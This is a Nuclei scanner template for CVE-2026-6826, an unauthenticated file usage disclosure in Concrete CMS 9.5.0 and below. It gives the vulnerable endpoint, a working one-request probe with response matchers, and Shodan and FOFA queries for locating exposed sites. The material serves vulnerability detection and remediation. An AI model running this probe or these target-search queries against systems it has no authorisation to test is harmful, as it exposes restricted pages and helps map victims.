Description
Concrete CMS 9.5.0 and below is vulnerable to unauthenticated file usage disclosure via missing permission check in the usage controller.
Concrete CMS 9.5.0 and below is vulnerable to unauthenticated file usage disclosure via missing permission check in the usage controller.
id: CVE-2026-6826
info:
name: Concrete CMS <9.5.1 - Unauthenticated File Usage Disclosure
author: str4k3r
severity: medium
description: |
Concrete CMS 9.5.0 and below is vulnerable to unauthenticated file usage disclosure via missing permission check in the usage controller.
impact: |
Any unauthenticated visitor can request /ccm/system/dialogs/file/usage/{fID} with any file ID and receive a list of every page that references that file, including page IDs, handles, and full URLs. This includes pages that are otherwise restricted by permissions.
remediation: |
Update to the latest version beyond 9.5.0.
reference:
- https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes
- https://www.concretecms.org/security
- https://nvd.nist.gov/vuln/detail/CVE-2026-6826
- https://vulnerability.circl.lu/vuln/cve-2026-6826
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
cvss-score: 6.9
cve-id: CVE-2026-6826
epss-score: 0.01461
epss-percentile: 0.7227
cwe-id: CWE-862
metadata:
verified: true
max-request: 1
shodan-query: http.component:"Concrete CMS"
fofa-query: app="Concrete-CMS"
tags: cve,cve2026,concretecms,concrete,disclosure,unauth,idor
http:
- method: GET
path:
- "{{BaseURL}}/ccm/system/dialogs/file/usage/1"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'ccm-ui'
- 'Page ID'
- 'Handle'
- 'Location'
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100d5326689cbfab29fa01735d0054b3a55eec812a61b7db3c92bbba717c02ab9500221008dc5027d47455774482de2f1b0cffc0e975fca150de6aad4291263b527cf3c5c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.